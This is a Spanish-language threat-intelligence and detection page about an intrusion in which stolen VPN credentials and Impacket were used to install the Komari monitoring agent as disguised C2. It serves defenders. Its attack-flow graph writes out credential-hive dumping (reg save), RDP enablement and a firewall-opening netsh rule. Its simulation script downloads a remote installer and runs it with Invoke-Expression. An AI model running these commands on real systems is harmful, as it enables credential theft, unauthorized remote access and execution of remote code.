Komari: La herramienta de «monitoreo» que no necesitaba ser armada
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un actor de amenazas utilizó credenciales de VPN robadas para acceder a una estación de trabajo de Windows de un socio de Huntress, luego habilitó RDP y desplegó el agente de monitoreo de código abierto Komari como un servicio a nivel de SISTEMA disfrazado como Servicio de Actualización de Windows a través de NSSM. Una vez instalado, el agente estableció una conexión persistente de WebSocket con la infraestructura controlada por el atacante y proporcionó capacidades como ejecución de comandos, acceso a terminal y comprobaciones de conexión de tipo latido. En la práctica, la herramienta funcionó como un marco ligero de comando y control sin requerir adicional armamento.
Investigación
La intrusión comenzó con un inicio de sesión en la VPN SSL que se originó desde 45.153.34.132, seguido por el uso del smbexec.py de Impacket para habilitar RDP y ejecutar una serie de comandos remotos. Los investigadores encontraron que una línea de comando de PowerShell descargó el instalador de Komari directamente desde GitHub y lo registró como un servicio de Windows. Ese servicio luego lanzó komari-agent.exe, abrió una sesión de WebSocket al servidor del atacante y habilitó la ejecución de comandos remotos arbitrarios en el host.
Mitigación
Huntress respondió aislando la estación de trabajo comprometida, deshabilitando la cuenta de usuario afectada y deteniendo el servicio Komari creado por NSSM. La conexión maliciosa de WebSocket fue bloqueada y el mecanismo de persistencia fue eliminado del sistema. Las defensas de seguimiento recomendadas incluyen endurecer los controles de acceso a la VPN, monitorear la creación de servicios sospechosos, inspeccionar la actividad de WebSocket saliente, y fortalecer la seguridad de RDP.
Respuesta
Los defensores deberían detectar la creación de un servicio de Windows llamado Servicio de Actualización de Windows que apunta a komari-agent.exe, monitorizar conexiones de WebSocket salientes de larga duración a hosts desconocidos, y alertar sobre el uso de herramientas Impacket como smbexec.py para movimiento lateral. Si se identifica, el punto final afectado debe ser contenido inmediatamente, revocadas las credenciales comprometidas y el servicio malicioso eliminado del entorno.
graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef process fill:#e6e6fa %% Nodes – Actions / Techniques action_initial_access[«<b>Acción</b> – <b>T1078 Cuentas Válidas</b><br/><b>Descripción</b>: Usar credenciales de VPN robadas para establecer una sesión de SSLVPN y obtener acceso inicial.»] class action_initial_access technique action_cred_dump[«<b>Acción</b> – <b>T1552.002 Credenciales Inseguras</b><br/><b>Descripción</b>: Volcar las colmenas de registro SAM, Sistema y Seguridad para obtener hashes de contraseñas.»] class action_cred_dump technique action_enable_rdp[«<b>Acción</b> – <b>T1599 Puente de Límite de Red</b><br/><b>Descripción</b>: Modificar la clave de registro fDenyTSConnections para habilitar el acceso al Protocolo de Escritorio Remoto.»] class action_enable_rdp technique action_firewall_rule[«<b>Acción</b> – <b>T1562.004 Obstaculizar Defensas</b><br/><b>Descripción</b>: Crear una regla de firewall llamada Permitir RDP que abre el puerto TCP 3389 entrante.»] class action_firewall_rule technique %% Nodes – Tools / Processes tool_vpn[«<b>Herramienta</b> – <b>Nombre</b>: Cliente VPN<br/><b>Propósito</b>: Conectarse a la red corporativa a través de SSLVPN.»] class tool_vpn tool process_regdump[«<b>Proceso</b> – <b>Comando</b>: reg save HKLM\SYSTEM\…<br/><b>Descripción</b>: Volcar las colmenas de SAM, Sistema y Seguridad.»] class process_regdump process process_reg_modify[«<b>Proceso</b> – <b>Comando</b>: reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f<br/><b>Descripción</b>: Habilitar RDP a través de modificación de registro.»] class process_reg_modify process process_fw_rule[«<b>Proceso</b> – <b>Comando</b>: netsh advfirewall firewall add rule name=»Permitir RDP» dir=in action=allow protocol=TCP localport=3389<br/><b>Descripción</b>: Agregar regla de firewall para permitir tráfico RDP entrante.»] class process_fw_rule process %% Connections action_initial_access –>|usa| tool_vpn action_initial_access –>|conduce a| action_cred_dump action_cred_dump –>|usa| process_regdump action_cred_dump –>|conduce a| action_enable_rdp action_enable_rdp –>|usa| process_reg_modify action_enable_rdp –>|conduce a| action_firewall_rule action_firewall_rule –>|usa| process_fw_rule
Flujo de Ataque
Detecciones
Posibles Patrones de Línea de Comando de Impacket (vía cmdline)
Ver
Posible Ejecución Remota de Código usando Impacket (vía cmdline)
Ver
Powershell Ejecutando Archivo en Directorio Sospechoso Usando Política de Ejecución Bypass (vía cmdline)
Ver
Descarga o Carga a través de Powershell (vía cmdline)
Ver
Posible Sombreado de Servicios de Escritorio Remoto (vía creación de proceso)
Ver
Modificaciones de Firewall Sospechosas vía CLI (vía cmdline)
Ver
Proceso Sospechoso Utiliza una URL en la Línea de Comando (vía cmdline)
Ver
Software Alternativo de Acceso Remoto / Gestión (vía creación de proceso)
Ver
IOCs (HashSha256) para detectar: Komari: La herramienta de “Monitoreo” que no necesitó armamento
Ver
IOCs (SourceIP) para detectar: Komari: La herramienta de “Monitoreo” que no necesitó armamento
Ver
IOCs (DestinationIP) para detectar: Komari: La herramienta de “Monitoreo” que no necesitó armamento
Ver
Detección de Ejecución smbexec.py y cmd.exe de Impacket vía RDP [Creación de Procesos de Windows]
Ver
Ejecución de PowerShell para la Instalación del Agente Komari [Windows PowerShell]
Ver
Detectar Persistencia del Agente Komari vía Servicio de Actualización de Windows [Sistema Windows]
Ver
Detección de Acceso No Autorizado a SSLVPN y Actividad Post-Compromiso [Firewall]
Ver
Ejecución de Simulación
Prerequisito: El Control de Pre-vuelo de Telemetría & Base debe haber pasado.
-
Narrativa del Ataque y Comandos:
Un adversario ha obtenido una postura en un host Windows y desea instalar el agente C2 de Komari para mantener persistencia y luego volcar credenciales (T1003.001). Para evitar desencadenar defensas tradicionales contra scripts, el atacante ejecuta PowerShell con-ExecutionPolicy Bypassy descarga directamente el instalador del repositorio público de GitHub. La línea de comando coincide exactamente con la regla de detección, generando la telemetría esperada. -
Script de Prueba de Regresión:
# Simulación de Instalación del Agente Komari $url = "https://raw.githubusercontent.com/komari-monitor/komari-agent/main/install.ps1" $script = (New-Object System.Net.WebClient).DownloadString($url) Invoke-Expression $script -
Comandos de Limpieza:
# Elimine cualquier archivo creado por el instalador simulado (si lo hay) Remove-Item -Path "$Env:ProgramFilesKomari" -Recurse -Force -ErrorAction SilentlyContinue # Detenga cualquier proceso Komari que pueda haber sido iniciado Get-Process -Name "Komari" -ErrorAction SilentlyContinue | Stop-Process -Force